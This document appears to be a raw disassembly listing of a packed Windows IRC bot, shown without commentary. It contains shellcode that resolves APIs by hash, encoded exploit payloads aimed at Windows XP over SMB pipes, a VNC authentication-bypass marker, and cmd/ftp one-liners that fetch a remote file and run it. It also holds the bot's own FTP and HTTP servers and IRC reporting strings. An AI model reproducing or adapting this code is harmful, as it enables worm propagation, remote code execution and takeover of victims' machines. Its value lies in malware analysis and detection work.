		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4324E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432510	proc near		; CODE XREF: sub_4324E7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43251F:				; CODE XREF: sub_432510+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43252C
		inc	ebx
		jmp	short loc_43251F
; ---------------------------------------------------------------------------


loc_43252C:				; CODE XREF: sub_432510+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432510	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432535	proc near		; CODE XREF: sub_432470+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43254D:				; CODE XREF: sub_432535+1Ej
		cmp	[ecx], ebx
		jz	short loc_432555
		mov	ecx, [ecx]
		jmp	short loc_43254D
; ---------------------------------------------------------------------------


loc_432555:				; CODE XREF: sub_432535+1Aj
		mov	edx, edi


loc_432557:				; CODE XREF: sub_432535+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432561
		mov	edx, [edx+4]
		jmp	short loc_432557
; ---------------------------------------------------------------------------


loc_432561:				; CODE XREF: sub_432535+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432535	endp


; =============== S U B	R O U T	I N E =======================================



sub_43256C	proc near		; CODE XREF: sub_432470+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43256C	endp


; =============== S U B	R O U T	I N E =======================================



sub_432582	proc near		; CODE XREF: sub_432470+16p
					; sub_432470+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_432598:				; CODE XREF: sub_432582+33j
		jecxz	short loc_4325D2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325A5:				; CODE XREF: sub_432582+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325B1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325A5
; ---------------------------------------------------------------------------


loc_4325B1:				; CODE XREF: sub_432582+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_432598
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4325D2:				; CODE XREF: sub_432582:loc_432598j
					; sub_432582:loc_4325D2j
		jmp	short loc_4325D2
sub_432582	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_4325D8	proc near		; DATA XREF: .packed:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43262A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_4325F5:				; CODE XREF: sub_4325D8+38j
		jecxz	short loc_432625
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432600:				; CODE XREF: sub_4325D8+32j
		lodsb
		test	al, al
		jz	short loc_43260C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432600
; ---------------------------------------------------------------------------


loc_43260C:				; CODE XREF: sub_4325D8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_4325F5
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_4325D8:loc_4325F5j
		mov	[esp+arg_0], ebx
		retn
sub_4325D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43262A	proc near		; CODE XREF: sub_4325D8+7p

; FUNCTION CHUNK AT 00432662 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432643
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43264E
; ---------------------------------------------------------------------------


loc_432643:				; CODE XREF: sub_43262A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43264E:				; CODE XREF: sub_43262A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432662
sub_43262A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432655	proc near		; CODE XREF: sub_43262A:loc_432662p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432655	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43262A


loc_432662:				; CODE XREF: sub_43262A+29j
		call	sub_432655


loc_432667:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43262A
; ---------------------------------------------------------------------------
		dw 0
dword_43266C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_432678	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_43267C	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_432680	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_43268C:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_432694
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_432694	dd 0			; CODE XREF: .packed:loc_43268Cj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .packed:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432700	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D99B+2B0o
; ---------------------------------------------------------------------------


loc_43270C:				; CODE XREF: .packed:00432716j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43270C
		inc	edi
		jz	short loc_432753
		and	eax, 952CE753h
		inc	esp
		jle	short loc_43277B
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432753:				; CODE XREF: .packed:00432719j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327B2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_432778:				; CODE XREF: .packed:004327A5j
		xor	[esi-25h], bl


loc_43277B:				; CODE XREF: .packed:00432721j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_432794:				; CODE XREF: .packed:004327C7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_432778
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327B2:				; CODE XREF: .packed:00432759j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43283E
		jo	short loc_432794
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4327D5+1
		add	bl, [edi]


loc_4327D5:				; CODE XREF: .packed:004327D1j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_4327EA+2
		cmp	ch, bh
		dec	edx


loc_4327EA:				; CODE XREF: .packed:004327E5j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43283E:				; CODE XREF: .packed:004327C5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328C4
		sub	al, 0BCh
		jmp	near ptr 54452C32h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432860	dd 0EFFFC481h, 44FFFFh,	4328ACh	; DATA XREF: sub_40D99B+297o
dword_43286C	dd 42Ah			; DATA XREF: sub_40D99B+24Ar
dword_432870	dd 3E8h			; DATA XREF: sub_40D99B+2BBr
dword_432874	dd 258h			; DATA XREF: sub_40D99B+28Dr
byte_432878	db 1			; DATA XREF: sub_40D99B+1F6r
					; sub_40D99B+2C4r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432890	dd 20804h		; DATA XREF: sub_40D89Fr
					; sub_40D99B+2E2o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .packed:0043287Co
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328C4:				; CODE XREF: .packed:00432848j
		push	eax
		xor	al, 29h


loc_4328C7:				; DATA XREF: sub_40D99B+21Eo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_4328D0	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40D99B+14Eo
dword_4328E4	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40D99B+F2o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D99B+81o
		align 4
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40D99B+33o
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DEA0+92o
					; sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_43298C	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040E299o
		align 10h
word_433BD0	dw 1			; DATA XREF: .packed:0040E210r
		align 4
dword_433BD4	dd 2E646D63h, 657865h	; DATA XREF: sub_40E503+130o
					; sub_419C64+21o
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40E6EF+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E991+5F2o
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40E991+5D1o
		align 4
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E991+580o
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E991+56Co
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E991+522o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40E991+4F7o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40E991+4DFo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E991+4CFo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40E991+4BEo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40E991+48Bo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E991+447o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40E991+40Eo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E991+3E0o
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: sub_40E991+3CDo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40E991+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40E991+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E991+372o
aI_0:					; DATA XREF: sub_40E991+35Eo
					; .packed:00438338o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E991+33Bo
aA_0:					; DATA XREF: sub_40E991+327o
					; .packed:00438344o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40E991:loc_40EC9Ao
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E991+2FEo
		align 4
off_433E24	dd offset dword_445750	; DATA XREF: sub_40E991+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E991+2DDo
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40E991+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E991+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40E991+2A8o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E991+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40E991+287o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40E991+277o
		align 4
aUser_1		db 'USER',0             ; DATA XREF: sub_40E991+262o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40E991+251o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E991+1C9o
		align 4
unk_433EBC	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433EE4	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_434104	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43413C	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434170:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_5		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 10h
aS_0		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434618	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_4101FC+171o
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_4101FC+116o
